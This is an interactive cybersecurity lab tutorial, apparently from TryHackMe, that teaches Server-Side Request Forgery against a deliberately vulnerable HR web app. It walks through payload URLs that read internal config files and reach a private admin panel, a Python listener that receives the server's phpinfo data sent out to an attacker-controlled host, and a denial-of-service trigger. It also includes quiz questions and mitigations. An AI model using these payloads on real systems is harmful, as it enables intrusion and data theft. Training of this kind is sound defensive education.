To access material, start machines and answer questions login.
The landscape of web attacks constantly evolves, with threat actors devising sophisticated methods to compromise systems. As each day passes, the expansion of web-based threats warrants the need for robust cyber security measures to counter the ever-advancing tactics employed by malicious actors. In this room, we will discuss a similar attack known as Server Side Request Forgery (SSRF).
SSRF is a web application security vulnerability that allows the attacker to force the server to make unauthorised requests to any local or external source on behalf of the web server. SSRF allows an attacker to interact with internal systems, potentially leading to data leaks, service disruption, or even remote code execution.
- Understanding the workings of SSRF
- Practically testing various types of SSRF
- Few important tools for exploitation
- Key mitigation and defensive measures
Having completed the following rooms before starting this one is recommended:
Connecting to the Machine
You can start the virtual machine by clicking Start Machine
. We will use a vulnerable Human Resource Management System (HRMS) web app throughout the room to understand various SSRF techniques. Please wait 2-3 minutes for the machine to fully boot up.
http://hrms.thm
, but first, you need to add the hostname to your OS or AttackBox.
How to add hostname (click to read)
- If you are connected via VPN or the AttackBox, you can add the hostname
hrms.thm
by first opening the host file, depending on your host operating system. - Windows :
C:\Windows\System32\drivers\etc\hosts
- Linux :
/etc/hosts
- Open the host file and add a new line at the end of the file in the format:
MACHINE_IP hrms.thm
- Save the file and type
http://hrms.thm
in the browser to access the website.
Let's begin!
An SSRF vulnerability can arise when user-provided data is used to construct a request, such as forming a URL. To execute an SSRF attack, an attacker can manipulate a parameter value within the vulnerable software, effectively creating or controlling requests from that software and directing them towards other servers or even the same server.
SSRF vulnerabilities can be found in various types of computer software across a wide range of programming languages and platforms as long as the software operates in a networked environment. While most SSRF vulnerabilities are commonly discovered in web applications and other networked software, they can also be present in server software.
Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Total Occurrences | Total CVEs |
2.72% | 2.72% | 8.28 | 6.72 | 67.2% | 9503 | 385 |
The above table provides insights into the prevalence, impact, and coverage of an SSRF vulnerability in a specific context or dataset that OWASP measures. The interpretation of the above table is explained below:
- Max Incidence Rate: It suggests how often this vulnerability has been encountered relative to other vulnerabilities in OWASP.
- Avg Incidence Rate: It shows how common this vulnerability is compared to others.
- Avg Weighted Exploit: Indicate the average difficulty or effort required to exploit an SSRF vulnerability.
- Avg Weighted Impact: Average potential impact or severity of exploiting an SSRF vulnerability.
- Max Coverage: It indicates how much of the systems have been exploited due to this vulnerability.
- Total Occurrences: Total exploitations due to this vulnerability that OWASP has analysed.
- Total CVEs: Total CVEs about SSRF. These are CVE-2021-21311, CVE-2018-11759 and CVE-2017-9506. This data of OWASP is from 2021.
Note: The SSRF vulnerability ranks 7th in the OWASP API Security Top 10.
Risk of SSRF
As explained earlier, cybercriminals can gain unauthorised access by tampering with requests on behalf of the vulnerable web application to gain access to sensitive data hosted in the internal network.
Basic SSRF is a web attack technique where an attacker tricks a server into making requests on their behalf, often targeting internal systems or third-party services. By exploiting vulnerabilities in input validation, the attacker can gain unauthorised access to sensitive information or control over remote resources, posing a significant security risk to the targeted application and its underlying infrastructure.
A basic SSRF can be employed against a local or an internal server. We will discuss both scenarios in detail.
Scenario - I: SSRF Against a Local Server
In this attack, the attacker makes an unauthorised request to the server hosting the web application. The attacker typically supplies a loopback IP address or localhost to receive the response. The vulnerability arises due to how the application handles input from the query parameter or API calls.
For example, in the HRMS application, there's a feature that loads additional pages based on a URL parameter. For example, navigating to http://hrms.thm?url=localhost/copyright
would load the copyright page of the application. This feature is intended for internal use and is designed to request and display pages from the local server (hence using localhost
in the query).
However, due to insufficient validation of the input URL, an attacker can manipulate this functionality for SSRF attacks. By changing the URL parameter to point to other pages/services, the attacker can force the HRMS server to make requests to other pages. For instance, if the attacker uses a URL like http://hrms.thm/?url=localhost/config
, and config
is a valid page, the HRMS server will attempt to fetch content from this page and display the result.
The main idea is to forge a legitimate request and make the server perform an unintended action.
How it works
- Suppose you have been tasked to pentest the HRMS website and identify any SSRF loopholes. Visit the HRMS website
http://hrms.thm
, and you will see that the login page is protected through a username and password.
- We will notice that once we visit the page
http://hrms.thm
, it automatically redirects tohttp://hrms.thm/?url=localhost/copyright
. The webpage shows the copyright status of the website.
- This means the developer has probably made some mistakes while handling a file showing the copyright status. Here is the code of the page that takes the query parameter.
- We can see in the above code that the input parameter
url
lacks adequate filtering and loads whatever the parameter is provided from thelocalhost
. - Let's try to change the URL from
http://hrms.thm/?url=localhost/copyright
tohttp://hrms.thm/?url=localhost/hello
; it displays an error thathello.php is not found
.
$uri = rtrim($_GET['url'], "/");
...
$path = ROOTPATH . $file;
...
if (file_exists($path)) {
echo "<pre>";
echo htmlspecialchars(file_get_contents($path));
echo "</pre>";
} else { ?>
<p class="text-xl"><?= ltrim($file, "/") ?> is not found</p>
<?php
...
- Woah! So, the page calls another PHP file and displays it on the current page's footer. What if we call sensitive files like
connection.php
orconfig.php
? - When we try to access the file
http://hrms.thm/?url=localhost/config
, we will see that the footer of the page shows the content of the file, essentially showing us the exact credentials, which would look like this:
<?php
$adminURL = "xxxxxxx";
$username = "xxxxx";
$password = "xxxx";
...
?>
What is the password for the HRMS login panel?
What is the admin URL as per the config file?
What is the flag value after successfully logging in to the HRMS web panel?
In this task, we will continue learning basic SSRF techniques and will dive into the second scenario.
Scenario - II: Accessing an Internal Server
In complex web applications, it is common for front-end web applications to interact with back-end internal servers. These servers are generally hosted on non-routable IP addresses, so an internet user cannot access them. In this scenario, an attacker exploits a vulnerable web application's input validation to trick the server into requesting internal resources on the same network. They could provide a malicious URL as input, making the server interact with the internal server on their behalf.
For instance, if an internal server provides database management or administrative controls, the attacker could craft a URL that initiates an unintended action on these internal systems when processed by the vulnerable web application. Technically, this is achieved through manipulated input, such as special IP addresses (like 192.168.x.x
or 10.x.x.x
for IPv4) or domain names (e.g., internal-database.hrms.thm
). When not properly sanitised, these inputs can be used in functions like HTTP requests or file inclusions within the web application. The server, interpreting these requests as legitimate, then inadvertently performs actions or retrieves data from other internal services.
Moreover, since these internal servers may lack the same level of security monitoring as external-facing servers, such exploitation can often go unnoticed. The attacker might also use this method to perform reconnaissance within the internal network, identifying other vulnerable systems or services to target.
How it works
- In this case, we will try to access the inaccessible internal resources through direct request.
- Now that we have acquired the credentials for the login panel, we will log in to the dashboard.
- Once we log in to the HRMS web app, we will see a dashboard listing employees and their departments. There is a dropdown that shows employees' data and salary.
- From the config file, we can see that the admin panel is hosted at
http://192.168.2.10/admin.php
. If we try to log in to the admin panel, it is not accessible directly. Let's try to access it; it will show an error.
- We have no route to that IP as it's a private network IP and can only be accessed by a machine within the same network.
- If we check the source of the HTML, it shows that the dropdown takes the URL from an internal system and renders the data. The details of all employees are being rendered from
http://192.168.2.10/employees.php
.
- That's great, so the dropdown is accessing an internal system; what if we try to change the request such that instead of loading the employee page, we forge the request and send
http://192.168.2.10/admin.php
as a parameter to the server? - Let's do that. Use the Inspect Element option and change the drop down value of salary from
http://192.168.2.10/salary.php
tohttp://192.168.2.10/admin.php
as shown below:
- Once you update the value, choose the
Salary
option from theSelect Category
dropdown.
- Here we go; we got access to the admin panel that was earlier inaccessible from the same IP.
What is the flag value after accessing the admin panel?
Blind SSRF refers to a scenario where the attacker can send requests to a target server, but they do not receive direct responses or feedback about the outcome of their requests. In other words, the attacker is blind to the server's responses. This type of SSRF can be more challenging to exploit because the attacker cannot directly see the results of their actions. We will discuss its various examples.
Blind SSRF With Out-Of-Band
Out-of-band SSRF is a technique where the attacker leverages a separate, out-of-band communication channel instead of directly receiving responses from the target server to receive information or control the exploited server. This approach is practical when the server's responses are not directly accessible to the attacker.
For instance, the attacker might manipulate the vulnerable server to make a DNS request to a domain he owns or to initiate a connection to an external server with specific data. This external interaction provides the attacker with evidence that the SSRF vulnerability exists and potentially allows him to gather additional information, such as internal IP addresses or the internal network's structure.
How it works
- Once again, log in to the dashboard and click on the
Profile
tab in the navigation bar. We will see that it redirects tohttp://hrms.thm/profile.php?url=localhost/getInfo.php
, which displays a message that data is being sent.
- What is happening here? Once we load
profile.php
, it sends data to an external page namedgetInfo.php
, which is probably used for analytics or logs.
<?php
...
$targetUrl = $_GET['url'];
ob_start();
ob_start();
phpinfo();
$phpInfoData = ob_get_clean();
$ch = curl_init($targetUrl);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,$phpInfoData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
...
?>
- Source code analysis of the page shows that it is reading
url
parameters, and without performing any validation, it sends the information to the server mentioned in theurl
parameter. - Here, an attacker can redirect the request to their server, thus getting additional information for exploitation or data pilferage.
- On your AttackBox, create a new file called
server.py
and add the following code to it:
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import unquote
class CustomRequestHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*') # Allow requests from any origin
self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
super().end_headers()
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'Hello, GET request!')
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
self.send_response(200)
self.end_headers()
# Log the POST data to data.html
with open('data.html', 'a') as file:
file.write(post_data + '\n')
response = f'THM, POST request! Received data: {post_data}'
self.wfile.write(response.encode('utf-8'))
if __name__ == '__main__':
server_address = ('', 8080)
httpd = HTTPServer(server_address, CustomRequestHandler)
print('Server running on http://localhost:8080/')
httpd.serve_forever()
- The above code will receive all the content and save it to a file data.html on the server. To obtain the data, we first need to start a lightweight server. We can do this in
AttackBox
by using the following commands:
thm@machine$ sudo chmod +x server.py && sudo python3 server.py
- Now open the browser and open
http://hrms.thm/profile.php?url=http://ATTACKBOX_IP:8080
, which will log the data in thedata.html
. Open thedata.html
file, which contains all the essential information related to the server that can be used to launch further attacks.
Time-based SSRF is a variation of SSRF where the attacker leverages timing-related clues or delays to infer the success or failure of their malicious requests. By observing how long it takes for the application to respond, the attacker can make educated guesses about whether their SSRF attack was successful.
The attacker sends a series of requests, each targeting a different resource or URL. The attacker measures the response times for each request. If a response takes significantly longer, it may indicate that the server successfully accessed the targeted resource, implying a successful SSRF attack.
Does Out-of-band SSRF always include a technique in which an attacker always receives direct responses from the server (yea/nay)?
What is the value of the PHP Extension Build on the server?
Which type of SSRF doesn't give us a direct response or feedback?
An attacker could abuse SSRF by crashing the server or creating a denial of service for other hosts. There are multiple instances (WordPress, CairoSVG) where attackers try to disrupt the availability of a system by launching SSRF attacks.
Crashing the Server
In this SSRF demonstration, we will illustrate how an attacker can exploit a web application to cause a denial of service on the server. In our scenario, the vulnerability is exploited by supplying a malicious URL that points to a resource which, when accessed by the server, leads to excessive resource consumption or triggers a crash.
For example, the attacker might input a URL pointing to a large file on a slow server or a service that responds with an overwhelming amount of data. When the vulnerable application naively accesses this URL, it engages in an action that exhausts its own system resources, leading to a slowdown or complete crash.
How it works
- Once we log in to the dashboard, we will see a tab called
Training
in the navigation bar, which is used to load the training content for the employees. - Once we click on that tab, we will see that it redirects to the URL
http://hrms.thm/url.php?id=192.168.2.10/trainingbanner.jpg
, which shows training content.
- We notice that the
url.php
file is loading external content displayed here. What if we try to load any other content? - Try opening the file
http://hrms.thm/url.php?id=10.10.10.10
. Great! - it opened the file for you.
- Now that we know the server is vulnerable to basic SSRF, let's explore the code of
url.php
to make it crash the server. - Once we access the URL
http://hrms.thm/?url=localhost/url
, we will see the following code at the footer (only works if the user is not logged in). - The above code shows that the
url.php
loads an image; if the image size exceeds100KB
, it shows a memory outage message and throws an error. - Let's try to crash the server by loading an image greater than 100 KB. For your convenience, we already have such an image available, which you can forge via
http://hrms.thm/url.php?id=192.168.2.10/bigImage.jpg
.
<?php
....
....
if ($imageSize < 100) {
// Output the image if it's within the size limit
$base64Image = downloadAndEncodeImage($imageUrl);
echo '<img src="' . htmlspecialchars($base64Image) . '" alt="Image" style="width: 100%; height: 100%; object-fit: cover;">';
} else {
// Memory Outage - server will crash
....
...
What is the flag value after loading a big image exceeding 100KB?
- Implement strict input validation and sanitise all user-provided input, especially any URLs or input parameters the application uses to make external requests.
- Instead of trying to blocklist or filter out disallowed URLs, maintain allowlists of trusted URLs or domains. Only allow requests to these trusted sources.
- Implement network segmentation to isolate sensitive internal resources from external access.
- Implement security headers, such as Content-Security-Policy, that restricts the application's load of external resources.
- Implement strong access controls for internal resources, so even if an attacker succeeds in making a request, they can't access sensitive data without proper authorisation.
- Implement comprehensive logging and monitoring to track and analyse incoming requests. Look for unusual or unauthorised requests and set up alerts for suspicious activity.
Which of the following is the suggested approach while handling trusted URLs? Write the correct option only.
a) Filter out disallowed URLs
b) Maintaining an allowlist of trusted URLs
Since SSRF mainly exploits server-side requests, is it optional to sanitise the input URLs or parameters (yea/nay)?
In this room, we've covered the details of SSRF while shedding light on basic, blind, and time-based techniques. The room aimed at providing you with a comprehensive understanding of this vulnerability within web applications through hands-on exercises and daily-life scenarios. Moreover, we have also discussed some remedial measures to protect against vulnerability.
Stay tuned for more insights, updates, and exciting content on advanced server-side attacks.
Ready to learn Cyber Security? Create your free account today!
TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.
Already have an account? Log in